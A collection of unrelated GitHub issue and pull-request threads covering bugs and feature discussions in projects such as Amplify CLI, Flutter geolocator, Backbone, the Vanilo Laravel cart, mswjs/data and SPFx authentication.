[GraphAPI Beta] - Custodians id returned without dashes

When using the Beta custodian endpoint described by the docs I realised that the returned (Object) Id is returned without dashes ("-"). This is inconsistent with the id usage everywhere else in the Graph API, as the id is returned there with the dashes.
AB#7005

Please post this question to Microsoft Q&A as it's not specific to this particular service.

Please post this question to Microsoft Q&A as it's not specific to this particular service.


amplify configure project command does not properly update frontendHandler.javascript path

Describe the bug
I am on a development team where we want to have multiple developers running the same amplify project. Another developer created a basic Amplify project for a React app. When I run the amplify configure project command on my machine, and then run an amplify push, I get the following error:

Cannot find module '/usr/local/lib/node_modules/@aws-amplify/cli/node_modules/amplify-frontend-javascript'

To Reproduce
Steps to reproduce the behavior:

Check out repo of an Amplify project.
cd into the project directory.
npm i
Run amplify configure project to update the project settings for your machine (this updates amplify/.config/project-config.json for one thing).
Run amplify push.

Expected behavior
The amplify push should complete as normal.
Desktop (please complete the following information):
-macOS
Additional context
Note the project-config.json file below after running amplify configure project, my providers.awscloudformation is correct, but frontendHandler.javascript is not. Perhaps the issue may stem from the fact that I'm using nvm to manage my node installs.
{
    "projectName": "myprojectname",
    "projectPath": "/Users/myname/Documents/projectfolder/project",
    "defaultEditor": "code",
    "frontendHandler": {
        "javascript": "/usr/local/lib/node_modules/@aws-amplify/cli/node_modules/amplify-frontend-javascript"
    },
    "javascript": {
        "framework": "react",
        "config": {
            "SourceDir": "src",
            "DistributionDir": "build",
            "BuildCommand": "npm run-script build",
            "StartCommand": "npm run-script start"
        }
    },
    "providers": {
        "awscloudformation": "/Users/myname/.nvm/versions/node/v8.12.0/lib/node_modules/@aws-amplify/cli/node_modules/amplify-provider-awscloudformation"
    }
}

Team collaboration workflow has not been fully implemented yet, what you are doing is not going to work.
We are working on implement it.
I'm marking this as feature request.

@chrisl777 were able to get your app running by manually changing the path? We’ll fix this issue as a part of the ‘amplify configure project’ command

@kaustavghosh06 Yes, thanks, I was able to get the app running by manually changing the path. Thanks for putting that into your "to fix" list!

The fix for this is merged in the latest version of the CLI -> 0.1.28

try this
$export PATH="/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/YOURUSERNAME/.npm-global/bin"
HOPE it might work!! 🙂


Can't get location updates or icon, on Emulator (works on real phone)

🐛 Bug Report

Expected behavior
Location enabled and get gps position
Reproduction steps
Try running a stream in an emulator
Configuration
Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, v1.12.13+hotfix.5, on Linux, locale en_GB.UTF-8)
[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
[✓] Android Studio (version 3.6)
[✓] Connected device (2 available)
Platform:

[ ] :iphone: iOS
[ ] :robot: Android

I have a very simple test...
positionStream = Geolocator().getPositionStream(locationOptions).listen((position) {
print("$position");
}
This does work on my normal mobile phone. The location icon comes on etc.
On the avd emulator, randomly it pops up a dialog, "enable all the time, enable just for this app".
No matter what I do, the location icon on the emulated phone, never comes on, and it never receives updates from the stream.
It has worked once, but I just can't get the location icon to come on (to give a hint that it will work).
If I check the permission via the gelocator plugin, it shows granted and enabled.
Sometimes I also get another error Unhandled Exception: PlatformException(ERROR_ALREADY_REQUESTING_PERMISSIONS)
Which I've searched the issues on, and it implies as it says, it's already waiting. However, this stream is only added once in an initState, so I don't know why it would be coming up with that error.
I'm trying it on an emulated Pixel 2 API 24, and Nexus 5x 29

Personally I have no problems simulating position updates using the Android emulator (Nexus 5x API 29). You do however have to playback a KML file to make sure the emulator knows which positions it should emulate (you can find instructions here: https://support.google.com/mymaps/answer/3109452?co=GENIE.Platform%3DDesktop&hl=en).
Can you confirm you tried this?

Thanks.
Yes, I've used a downloaded file to test that emulates the route, and updates the position on the emulator. It just doesn't get the location icon going on the emulator (it did work once, but no idea what was different). I don't quite understand why sometimes it shows a permissions dialog screen and othertimes it doesn't as well.
If I turn on google maps, the location icon comes on, and the map updates with the moving location, so I think the emulator location side is working ok.

Looks related to https://github.com/Baseflow/flutter-permission-plugins/issues/29
Have updated minsdkversion to 29 and looks to be working!

Re-opening, as it's doing it again. It popped up "Unhandled Exception: PlatformException(ERROR_ALREADY_REQUESTING_PERMISSIONS, A request for permissions is already running" then it won't work again.
As mentioned before, it's just he getPositionStream in the initState() method.
Maybe it doesn't get cancelled/disposed of or something ? I do positionStream.cancel(); it in the dispose method.

This support article will help you understand more.
https://support.google.com/android/answer/3467281?hl=en
If a user has switched off location even on an iPhone, you won't get the location. Usually, we write an alert to persuade the user to switch it on. This is designed to protect the user from malicious threats.

Should be fixed in version 6.0.0


Replace the (unused) url-list flag with a paths flag

To allow the loader to hit multiple url paths and/or override the default url path on the host under test.
Fix the Makefile to work properly with godeps.

LGTM


limit amount of topics shown with "show more" button

Communicated with the designers. Currently we have a scrollable section so there is no need for show more button. All topics are displayed.


github: workflows: fix documentation build error

Fix the documentation build error due to the broken link.
doxygen-1.9.2.linux.bin.tar.gz is not found hence changing
the doxygen version.
Signed-off-by: Aastha Grover<EMAIL_ADDRESS>

A fix has been merged: #45400


docs: adding cluster_state metrics docs

Fixes #N/A
Description
In Karpenter Core, we added metrics for cluster_state node count and synced. This PR adds the references to these metrics in the docs.
How was this change tested?
NA
Does this change impact docs?

[x] Yes, PR includes docs updates
[ ] Yes, issue opened: #
[x] No

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

https://deploy-preview-5697--karpenter-docs-prod.netlify.app/docs/reference/metrics/#cluster-state-metrics

We can /hold until the change gets released, just figured we should add docs pr for feature to be "complete"

@jonathan-innis  thanks for sharing the commands! Seems you already fixed this in the past 3 days when i pushed the pr https://github.com/aws/karpenter-provider-aws/pull/5673/files, but happy to just bump and update the metrics


feat(code-snippet): update story to Storybook v7

Related Ticket(s)
Closes #11311
Description
Adjustments to code-snippet component to be compatible with Storybook v7.
Changelog
Changed

Updated code-snippet Storybook component for Storybook v7

As an aside, I noticed a couple of bugs with code snippet here, also on the main branch:

Multiline is missing the clipboard icon. Just shows two perpendicular lines on hover:

In the Playground story, after setting feedback and feedbackTimeout, the feedback dissapears nearly instantly, even with a feedbackTimeout of 5000 (5 seconds).

Thanks for the review @RichKummer !

One question: would there be a quick way to add the layering design from the react Storybook into this? The format in react does a great job of highlighting the layer structure which feels missing here.

Yes! This is now fixed.
After your comment I dug in a bit more on this point. I discovered that stories for some components, including code-snippet, we were not fully declaring their dependencies for the layering decoration. This gets exposed with the small set of components that we're presently rendering in this branch of Storybook, as we build back up to the full set. I've corrected that in this and all my other PR's that incorporate the same "With Layer" style stories.


Update SecureBootAndBitLocker.md

Docs Build status updates of commit 9cb46b7:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

windows-iotcore/secure-your-device/SecureBootAndBitLocker.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


make _validate respect silent option

This is useful both for isValid - where the validity of a model can easily be ascertained without sounding the invalid alarm - as well as for set where silence is respected even when validating.

:+1:

:+1:, someone else want to weigh in?

I'm :+1: anytime we can move towards fewer side effects, but aren't we trying to get rid of the silent option? Maybe this should take the inverse? i.e. {trigger: true}?

I'm happy to implement trigger instead for _validate, but then we introduce a state where events are not triggered by default. Currently all events fire unless silenced, right? This would create the opposite state where now some events are only fired when triggered. EG, model set would accept a trigger (respected in _validate for firing invalid) and a silent (respected for not firing change and sort). I really like the idea of replacing silent with trigger, but only if its codebase-wide. Let me know how you want me to proceed.

The only place I know of where we require trigger by default is in Router#navigate.

Currently all events fire unless silenced, right?

Most cases where we have a silent option are in methods like Collection#set and Model#set, which are mutative and meant to have side effects.
I mostly don't like that the name isValid() seems to imply that it returns a boolean and that calling it is side effect-free, when in fact it triggers an event on failure. We could split out the _validate method into _validate and _validateAndTrigger, say, but I'm :-1: on adding another silent flag.

The only place I know of where we require trigger by default is in Router#navigate.

That everyone hates... Trigger by default.

For sure. I think it's the wrong default in that instance.
In my idea scenario, set and friends would trigger an event, isValid() wouldn't.

I completely agree that isValid should be silent by default. This PR was intended to be non breaking. Are you ok with this breaking change? #3896 is a backward incompatible implementation for this problem.

Are you ok with model set and friends being able to trigger an event even with {silent: true})?

Both of these were addressed with options being considered in _validate.

:+1: lgtm

I think there's a reason why silent isn't being checked here — probably because it would muddle cases where the silent is being passed for something else.
For example — you want to set a model's attributes silently, but you do not want to set an invalid model.
Probably not worth the breaking change.

A very good point
On Sun, Dec 20, 2015, 08:02 Jeremy Ashkenas<EMAIL_ADDRESS>wrote:

I think there's a reason why silent isn't being checked here — probably
because it would muddle cases where the silent is being passed for
something else.
For example — you want to set a model's attributes silently, but you do
not want to set an invalid model.
Probably not worth the breaking change.
—
Reply to this email directly or view it on GitHub
https://github.com/jashkenas/backbone/pull/3884#issuecomment-166115129.

--
Adam K (mobile)

probably because it would muddle cases where the silent is being passed for something else.

Yeah, though I think silent is already muddled - it's not intuitive as to what events are supposed to be silenced; in your example, why the change would be silent, but not the invalid).
I'd be happy to kill the silent option if that was not meant tongue in cheek.
That said, a specific use case that started this was to find a way for isValid to be called without side-effects.

What is the status of this PR as a candidate for 1.4? I think it is the right step until (hopefully) removing the silent option altogether in 2.0 :fingers-crossed: 😄

Closing in favor of #3906.


ci: Remove unused cosign

:tada: This PR is included in version 1.29.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Inflight limit

Limit the number of inflight requests
Decrease the max payload size of a request
Make both configurable

Coverage decreased (-0.02%) to 90.915% when pulling 3c6fcd2b2e559722d4334828841e782c0efae91a on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.

Coverage decreased (-0.02%) to 90.915% when pulling 3c6fcd2b2e559722d4334828841e782c0efae91a on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.

Coverage decreased (-0.02%) to 90.915% when pulling 3c6fcd2b2e559722d4334828841e782c0efae91a on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.

Coverage decreased (-0.02%) to 90.915% when pulling 24a090466e9997b0b0fe94f4b0b1ed18227c8d20 on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.

Coverage decreased (-0.02%) to 90.915% when pulling 24a090466e9997b0b0fe94f4b0b1ed18227c8d20 on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.

Coverage decreased (-0.02%) to 90.915% when pulling 24a090466e9997b0b0fe94f4b0b1ed18227c8d20 on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.

Coverage decreased (-0.02%) to 90.915% when pulling abaabde721e17ff446845feae08e5ff7a6d539f4 on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.

Coverage decreased (-0.02%) to 90.915% when pulling abaabde721e17ff446845feae08e5ff7a6d539f4 on SAP:inflight_limit into 312dbe81009da2a8fddc06b5e339c35829622bd7 on cloudfoundry-incubator:master.


remove dependencies between form_fiss_site on form_fish_sample

closed in https://github.com/NewGraphEnvironment/dff-2022/commit/beecf693a549905bc6ee0fd5d46d7a243d2b0be7


Scrolling using Magic Keyboard does not work on iPad.

OS/Web Information

Web Browser: Safari
Local OS: iPadOS 14.4.2(18D70) / iPad Pro 2nd gen 11inch
Remote OS: Ubuntu 20.04
Remote Architecture: x64
code-server --version: 3.9.3 fe2dc2deb08e378069891b622bb62ad1d261d1b1

Steps to Reproduce

Open Safari, and go into code-server
Open any tab that contains something available to scroll (Even Source code area is affected.)
Try to scroll using the magic keyboard's touchpad.

Expected

It should scroll.
Actual

It doesn't scroll at all.
Screenshot

Video I am trying to scroll on the source code.
This code can be opened, it is just example code that school sent me
https://user-images.githubusercontent.com/29011440/114115126-3a879f00-991d-11eb-9b48-c1928097818a.mp4
Video I am trying to scroll on Source Control tab.
https://user-images.githubusercontent.com/29011440/114114902-c4833800-991c-11eb-8ab9-1147f076d3f9.mp4
Notes

This issue can be reproduced in VS Code: There is no VS Code on iPad.
The "Magic Keyboard" that I am talking here is This one (apple.com). not the magic keyborad for mac.

Duplicate of #1455 - closing.
Hopefully iOS 14.5 fixes it, from what is in the other issue :crossed_fingers:


clangdev 15.0.0.rc3

Reinstating versioned libclang builds (now behind an option)
Waiting for builds from https://github.com/conda-forge/llvmdev-feedstock/pull/168

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

Thanks @h-vetinari for starting the thread in discourse and the follow up.


Testing result using default configs

Hello, thanks for your excellent work. I have something confusing. Are class dice scores in default testing results represent for dice scores   of left/right kidney? It seems to be quite different from results in the paper。

[[0.88280351 0.74435562]
[0.83440392 0.80716308]
[0.82672461 0.78102041]
[0.81587385 0.77750367]]
INFO - main - mar_val batches classDice: [0.83995147 0.77751069]
INFO - main - mar_val batches meanDice: 0.8087310830351279
INFO - main - mar_val batches classPrec: [0.89149801 0.81449578]
INFO - main - mar_val batches meanPrec: 0.852996898033872
INFO - main - mar_val batches classRec: [0.7999958 0.7510558]
INFO - main - mar_val batches meanRec: 0.7755258011198479

In paper, it is [73.63 78.39]. I wonder that if i have do any thing wrong

You may want to run through all five folds and get the average.


chore: jx-python-app-test to 0.0.1

chore: Promote jx-python-app-test to version 0.0.1

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Window mappings set by Nui prevent other multi-key mappings

The issue here is that if someone has multi-key mappings, and you add a mapping to a Nui window using something like split:map() that includes the prefix of that multi-key mapping, then there is no way to use that multi-key mapping which was defined elsewhere because Nui swallows that input.
The prime example of this is if someone has a <space> leader key and you add a <space> mapping to a Nui window, now all mappings starting with that leader are unusable.

I'm so sorry, this was my fault! I actually set nowait = true in the options for some crazy reason.
Closing this issue now.


Make lona work as Python module

python -m lona <more arguments here> yields the error No module named lona.__main__; 'lona' is a package and cannot be directly executed. It would be nice if this would work, so that you can mix other -m arguments (e.g. for remote debugging with debugpy).

Good idea!
When python -m lona my-application.py would be implemented, how would the content of my-application.py look like?

Could it be the settings.py file itself? Alternative, one could just discard the need for a my-application.py file entirely.

Sounds reasonable. The project root (the root directory from were all imports are relative) then should be the parent directory of settings.py. I will start working on this as soon as possible.


Connection was reset

I am now setting up the NAT cross stuff however i run into a problem is that it said the connection was reset after i have down the portforwarding?
It turns out I cannot build up the direct tcp connection between two nodes.

These are the screenshot from the client side.
Sometimes it success but for the two pc in my house connected to a server. I cannot connect between them but i can communicate with someone in other's house.

It seems like that port forwarding was set up correctly. But for two laptops under different NATs they still cannot build up direct channel. I still need to use relay for them to let them communicate with each other.

We are working on the NAT issues currently


No custom sound when time is up after Windows Update

Hello! I've been using Hourglass for a long time. I just updated Windows 10 home 64bit yesterday and found there's a problem with Hourglass:
When the time is up, no custom sound is emitted. The Loud, Normal and Quiet beep sound works though. Just the custom sound that doesn't work.
I tried the latest installed 1.8 version, latest portable 1.8 version, portable 1.7 version. All don't work. I believe this is caused by the Windows Update. How do I resolve such issue? I love this program and don't want to switch. Thank you.

Can you attach a copy of the sound file that doesn't work (or email it to me)?
Converting it to *.wav may fix the problem.

Thank you for getting back to me. I really appreciate your help. I tried
converting it to .wav but it doesn't work either.
Here are the mp3 files that I tested with. Actually all custom sound files
would not work.
Thank you and I look forward to hearing from you soon!
On Tue, May 16, 2017 at 1:00 AM, Chris Dziemborowicz <
<EMAIL_ADDRESS>wrote:

Can you attach a copy of the sound file that doesn't work (or email it to
me)?
Converting it to *.wav may fix the problem.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/dziemborowicz/hourglass/issues/143#issuecomment-301537295,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ALJfi1BW0WtxxbO1XXZSFNAXUIPylBX6ks5r6IS4gaJpZM4Navxa
.

It looks like the files didn't attach to the GitHub issue... Can you attach them here: https://github.com/dziemborowicz/hourglass/issues/143?

I'm sorry for the mistake. Here are the links to the sample mp3 files:
https://soundcloud.com/user-9106363/victory-1
https://soundcloud.com/user-9106363/intro-1
https://soundcloud.com/user-9106363/start-1
Thank you again!

Hello! I rolled back to previous Windows 10 update and this issue is SOLVED! Hourglass works with custom sound again. Therefore, I am sure this is Windows 10 update related issue. It is fine with Windows 10 64 bit Home version 1511, OS Build 10586.916. I am not certain whether it would work with update further than this built.
I hope you find the issue behind this. Thank you for getting back to me. I hope you have a good day:)

The latest build of Windows 10 bricked my computer entirely, to the point where even restore did not work. I had to do a clean install...
That said, I am running the latest version currently, and Hourglass is able to play the sounds correctly. I'm not sure why it might not be working for you... especially if it is working with the built-in sounds.
Does Media Player in Windows work? Other sounds? Other apps? What if you reinstall audio drivers?

I'm sorry to hear that. I have no idea either. Media Player works in Windows. Everything is fine except the custom sound. Though it works fine for now because of restoring to previous build. I hope future Windows update would somehow fix this issue for me.
Thank you again for helping me:)

Alright. I'm going to close this now, as there isn't much I can do about it on my end. Perhaps Microsoft should hear about it. ;)

uyuy


Empty cart after page refresh.

I'm implementing a custom Buyable Model but after successfully adding to Cart, cart count returns the correct values but after page refresh cart count goes back to zero.

Can you please post some code examples?

Can you please post some code examples?

//Add to Cart -- This works and returns quantity
$product = \App\Product::findBySlug($request->slug);
Cart::addItem($product, $request->qty);
return response()->json(['message' => 'Added to cart', 'cart_count' => Cart::itemCount()]);

//Returns zero after refresh
if(Cart::exists()){
$cart_count = Cart::itemCount();
$cart = Cart::model()->items;
}else{
$cart_count = 0;
$cart = [];
}
return view('pages.front.cart', compact('cart', 'cart_count'));

Can you please also include the use Class\Name section as well?

Can you please also include the use Class\Name section as well?

I've updated the code example

Few tips:

You can use the HasTaxons trait on your product model.
You don't have to check whether the cart exists for the count, it's being done internally.
Don't access the Cart::model() directly unless you really, really, really (really?) need it. Use Cart::getItems() instead.

return view('pages.front.cart', ['cart' => Cart::getItems(), 'cart_count' => Cart::itemCount()]);

Regarding the bug: do you use the web middleware on the routes?

3. getItems

Thanks I have used the HasTaxons trait on my product model. I've updated the code to use Cart::getItems() instead, and yes, I use the Web middlleware in my controllers.
I noticed the user_id field in the cart table is null, could that be one of the problems?

No, the user <-> cart assignment is completely optional.
Is the session working properly in your application?
Eg. if you store some value, can you get the value back after page refresh?
//store some data in controller
session()->put('hey', 'yo');

// ... refresh the page ...
session()->get('hey');
// Do you get 'yo' here?

No, the user <-> cart assignment is completely optional.
Is the session working properly in your application?
Eg. if you store some value, can you get the value back after page refresh?
//store some data in controller
session()->put('hey', 'yo');

// ... refresh the page ...
session()->get('hey');
// Do you get 'yo' here?

Yes. Session works fine. I can store and retrieve the value.

What's the value of config('vanilo.cart.session_key') ?
What does session()->get(config('vanilo.cart.session_key')) give when adding something to the cart, and after refreshing the page?

What's the value of config('vanilo.cart.session_key') ?
What does session()->get(config('vanilo.cart.session_key')) give when adding something to the cart, and after refreshing the page?

config('vanilo.cart.session_key') = null

when adding to cart
session()->get(config('vanilo.cart.session_key'))
array (size=3)
  '_token' => string 'rPjTNEhixJYj7ZeoRAkSWUJLRTdWtvxmZ8fuLUm5' (length=40)
  '_previous' =>
    array (size=1)
      'url' => string 'http://localhost/ecommerce-laravel/public/Toyota-bus/test-product-2' (length=67)
  '_flash' =>
    array (size=2)
      'old' =>
        array (size=0)
          empty
      'new' =>
        array (size=0)
          empty

after adding to cart
session()->get(config('vanilo.cart.session_key'))
array (size=1)
  '_token' => string 'rPjTNEhixJYj7ZeoRAkSWUJLRTdWtvxmZ8fuLUm5' (length=40)

after second refresh
array (size=3)
  '_token' => string 'rPjTNEhixJYj7ZeoRAkSWUJLRTdWtvxmZ8fuLUm5' (length=40)
  '_previous' =>
    array (size=1)
      'url' => string 'http://localhost/ecommerce-laravel/public/Toyota-bus/test-product-2' (length=67)
  '_flash' =>
    array (size=2)
      'old' =>
        array (size=0)
          empty
      'new' =>
        array (size=0)
          empty

config('vanilo.cart.session_key') = null
this is the problem. Can you post the contents of config/concord.php here? Do you have config/vanilo.php file?

My config/concrd.php file
<?php

return [
    'modules' => [
        Konekt\AppShell\Providers\ModuleServiceProvider::class => [
            'ui' => [
                'name' => 'Vanilo',
                'url' => '/admin/product'
            ]
        ],
        Vanilo\Framework\Providers\ModuleServiceProvider::class
    ]
];

I also don't have a config/vanilo.php file

That's strange, because it looks as it should. What's the output of var_dump(config('vanilo')) ?

That's strange, because it looks as it should. What's the output of var_dump(config('vanilo')) ?

Null

What do config('concord') and config('session') calls return?

What do config('concord') and config('session') calls return?

config('session') returns
array:15 [▼
  "driver" => "file"
  "lifetime" => "120"
  "expire_on_close" => false
  "encrypt" => false
  "files" => "C:\wamp64\www\ecommerce-laravel\storage\framework/sessions"
  "connection" => null
  "table" => "sessions"
  "store" => null
  "lottery" => array:2 [▼
    0 => 2
    1 => 100
  ]
  "cookie" => "laravel_session"
  "path" => "/"
  "domain" => null
  "secure" => false
  "http_only" => true
  "same_site" => null
]

config('concord')
array:1 [▼
  "modules" => array:2 [▼
    "Konekt\AppShell\Providers\ModuleServiceProvider" => array:1 [▼
      "ui" => array:2 [▼
        "name" => "Vanilo"
        "url" => "/admin/product"
      ]
    ]
    0 => "Vanilo\Framework\Providers\ModuleServiceProvider"
  ]
]

Please how can I fix this?

 Somehow you overwrote it.
The last thing I can think of: what's the content of vendor/vanilo/cart/src/resources/config/module/php ?

 Somehow you overwrote it.
The last thing I can think of: what's the content of vendor/vanilo/cart/src/resources/config/module/php ?

return [
    'event_listeners'   => true,
    'session_key'       => 'vanilo_cart', // The session key where the cart id gets saved
    'auto_destroy'      => false, // Whether to immediately delete carts with 0 items
    'auto_assign_user'  => true, // Whether to automatically set the user_id on new carts (based on Auth::user())
    'preserve_for_user' => false, // Whether to keep and restore user carts across logins and devices
    'items'             => [
        'extra_product_attributes_to_merge' => []
    ]
];

Can you maybe zip your entire project along with the vendor/ folder (remove sensitive parts) and make it available for me for download?

Can you maybe zip your entire project along with the vendor/ folder (remove sensitive parts) and make it available for download?

https://drive.google.com/file/d/1IffV0zfohUhfYvHb7lMRoZmGxKPJB6UX/view?usp=sharing

My OS says it's not a zip file. Please either fix it or send .tar.gz

My OS says it's not a zip file. Please either fix it or send .tar.gz

Fixed
https://drive.google.com/file/d/1f_J89IUUR5_iLmD8r2fCYifhd4iH0DCi/view?usp=sharing

I've checked your code. Here's what to do:
Move these 3 routes from routes/api.php => routes/web.php:
Route::post('/cart/add', 'CartController@add')->name('add_to_cart');
Route::post('/cart/update/{cart_item?}', 'CartController@update')->name('update_cart');
Route::post('/cart/destroy/{cart_item?}', 'CartController@destroy')->name('destroy_cart');

Remove api/cart/* from the except array in the App\Http\Middleware\VerifyCsrfToken class:
protected $except = [
    'api/cart/*' // <- remove
];

In general, Vanilo could do much more for you.
You're reimplementing a lots of existing Vanilo functionalities, often not in a proper way.
I suggest to re-read the docs and study the code of the demo app.

I've checked your code. Here's what to do:
Move these 3 routes from routes/api.php => routes/web.php:
Route::post('/cart/add', 'CartController@add')->name('add_to_cart');
Route::post('/cart/update/{cart_item?}', 'CartController@update')->name('update_cart');
Route::post('/cart/destroy/{cart_item?}', 'CartController@destroy')->name('destroy_cart');

Remove api/cart/* from the except array in the App\Http\Middleware\VerifyCsrfToken class:
protected $except = [
    'api/cart/*' // <- remove
];

In general, Vanilo could do much more for you.
You're reimplementing a lots of existing Vanilo functionalities, often not in a proper way.
I suggest to re-read the docs and study the code of the demo app.

Thanks so much. It works now.
I'll have to take a deeper study of the Vanilo Docs so I can get things right. I will appreciate if you can point of some specific changes i can make to improve my use of Vanillo.

I will appreciate if you can point of some specific changes i can make to improve my use of Vanillo.
I'll do that in the coming days.


Support for non structured object

current my project has model that has non structured object property. it's like below data.
const userConfig1 = {
  id: 1,
  userId: 1,
  config: {}
}

const userConfig2 = {
  id: 1,
  userId: 2,
  config: { meta1: 1, meta2: 2 }
}

How about supporting unstructured object values by the Object type? just like below code.
const db = factory({
  userConfig: {
    id: primaryKey(Number),
    userId: Number
    meta: Object
  }
})

const userConfig1 = db.userConfig.create({ id: 1, userId: 1, meta: {} })
const userConfig2 = db.userConfig.create({ id: 2, userId: 2, meta: { meta1: 1, meta2: 2 } })

Hey, @strozw.
This is already supported, I believe. You can use the value getter function to return an empty object if that's the intended value:
factory({
  userConfig: {
    meta: () => ({}),
  }
})

I'd expect that you should be able to create userConfig entities with the following initial values:
db.userConfig.create({}) // "meta: {}"
db.userConfig.create({ meta: {} }) // "meta: {}"
db.userConfig.create({ meta: { meta1: 1 } }) // "meta: { meta1: 1 }"

You'd not have any of the userConfig.meta properties described but that's the expected behavior when you say "unstructured object".
We also support optional properties via optional. This allows you to describe the property but allow for null as initial value. I don't think an empty object would be semantic to allow though, so it's unlikely the solution to use in your case.

@kettanaito
thank you for your quick reply.
I immediately tried the method introduced that is using () => ({}), but the following problems occurred.
First, using () => ({}) as it is caused the following error in typescript.
So I had to cast it to any like() => ({} as any).
Diagnostics:
1. Type '() => {}' is not assignable to type 'ModelDefinitionValue'.
     Type '() => {}' is not assignable to type 'ModelValueTypeGetter'.
       Type '{}' is not assignable to type 'ModelValueType'.
         Type '{}' is missing the following properties from type 'PrimitiveValueType[]': length, pop, push, concat, and 28 more.

Next, by using () => ({}), I was able to execute the following model creation code without error, but the actual value of userConfig.meta is{{ It wasn't meta1: 1}, but was the default{}. and I also got the same result for updating the model.
const userConfig = db.userConfig.create ({meta: {meta1: 1}})

You can see the above problem in the following playground.
https://codesandbox.io/s/modest-fire-bobvlh?file=/src/index.ts

This is almost the same error that I get when I try to use getter function to describe nested array field https://github.com/mswjs/data/issues/162

I've ended up creating extra dependent object to work around this in the past. Would love to see a proper solution.

@vignesh-kira, there are two ways currently:
Nested object
factory({
  car: {
    id: primaryKey(String),
    manufacturer: {
      name: String
      address: {
        street: String
        houseNumber: String
      }
    }
  }
})

With plain nested objects, the car.manufacturer is a literal object on the car entity and does not exist as a separate entity to be queried.
Use a relationship
factory({
  car: {
    id: primaryKey(String),
    manufacturer: oneOf('company')
  },
  company: {
    id: primaryKey(String),
    name: String,
    address: {
      street: String,
      houseNumber: String
    }
  }
})

With the "car" - "company" relationship, both "car" and "company" (car.manufacturer) are entities that can be queried separately or conjointly.

Update
I'm currently working on an internal rewrite of how models are parsed in the library. It heavily affects this feature in particular, as I'm unifying how nested model definitions can work.

@tarjei, the best way to track the progress on this is through the Releases. When I'm done, it will be a new release.

Hi, just wanted to mention that I am looking forward this 'non-structured' object creation too. I have exactly the same issue as @strozw:
'Next, by using () => ({}), I was able to execute the following model creation code without error, but the actual value of userConfig.meta is{{ It wasn't meta1: 1}, but was the default{}. and I also got the same result for updating the model.'
Hope there is a fix of this soon. Also it would be great if it is possible to add it as nullable(Object)

We got bitten by this ourselves just now. We have an unstructured property args that default to an empty {} but could contain anything really. Our first attempt was to just define it as such:
const db = factory({
  model: {
    id: primaryKey(Number),
    name: String,
    args: () => ({}),
  }
});

While this doesn't error, it also doesn't work as args always remain an empty object when creating new instances of model.

I'd love to use this library to mock data, but this feature is blocking me.
Let me know if this is already possible. I played around with it for a while and couldn't get the desired result.
I have a model with a field that has a nested, recursive structure, like:
type LeafNode = {
  // some fields
}

type Expression = {
  operator: string;
  expressions: (Expression | LeafNode)[ ];
}

const foo = {
  expression: {
    operator: '+',
    expressions: [
      // items are a mix of Expression or LeafNode
    ]
  }
}

But I don't think I can specify that the items in the expressions array are of type Expression or LeafNode.

I just contributed to the bounty on this issue:
https://until.dev/bounty/mswjs/data/197
The current bounty for completing it is $40.00 if it is closed within 30 days, and decreases after that. Others can also contribute to the bounty to increase it.
This bounty is currently for @kettanaito, but it can be made into a public bounty with their approval


Silent sign Error when trying to access graph and azure functions in inkognito and InPrivate mode

Category

[x] Bug

Sometime in June this error start to appear.
When browsing in inPrivate mode (Edge) or Ikognito mode (Chrome) and trying to access either the graph or Azure through the authenticate providers given from spfx (msGraphClientFactory, aadHttpClientFactory) it fails everytime.
The console will give you the following error:
Uncaught (in promise) Error: login_required: AADSTS50058: A silent sign-in request was sent but no user is signed in. The cookies used to represent the user's session were not sent in the request to Azure AD. This can happen if the user is using Internet Explorer or Edge, and the web app sending the silent sign-in request is in different IE security zone than the Azure AD endpoint (login.microsoftonline.com).
Trace ID: 5e793169-4381-4c9b-85ef-5c7fc9f51200
Correlation ID: a3bd250b-2bd6-4ffc-9b6b-9600fc943ba2
Timestamp: 2020-08-18 08:00:59Z
It works like a charm when not in InPrivate mode or Ikognito mode
Steps to reproduce
Any solution trying to access the graph or an Azure funtion will fail in InPrivate mode or Ikognito mode
Expected behavior
It should work as when you are browsing in "normal" mode. This is really critical for us as many people uses the iknognito because they are often between different accounts, tenants in Office 365 and the solution FAILS totally.
Environment details (development & target environment)

Your Developer Environment: MacOS 10.15.5
Target Environment: SharePoint Online
Framework: Node.js v10.13.0
Browser(s): Chrome v83.0.4103.116 | Chromium Edge v81.0.416.68
Tooling: VS Code | SPFx v1.11.0
Additional details:  We are running a solution that uses the spfx providers. The solution itself is using vue but this should not be a problem.

Same issues seen in several customers Tenants

We're aware of issues around incognito / in-private-browsing / safari ITP.  Working hard on a solution.  Will post when we are rolling it out.

Meanwhile, you can use msal-browser to implement authentication / authorization. This works in incognito mode as well as it uses Auth grant flow with PKCE and not the usual implicit grant flow.

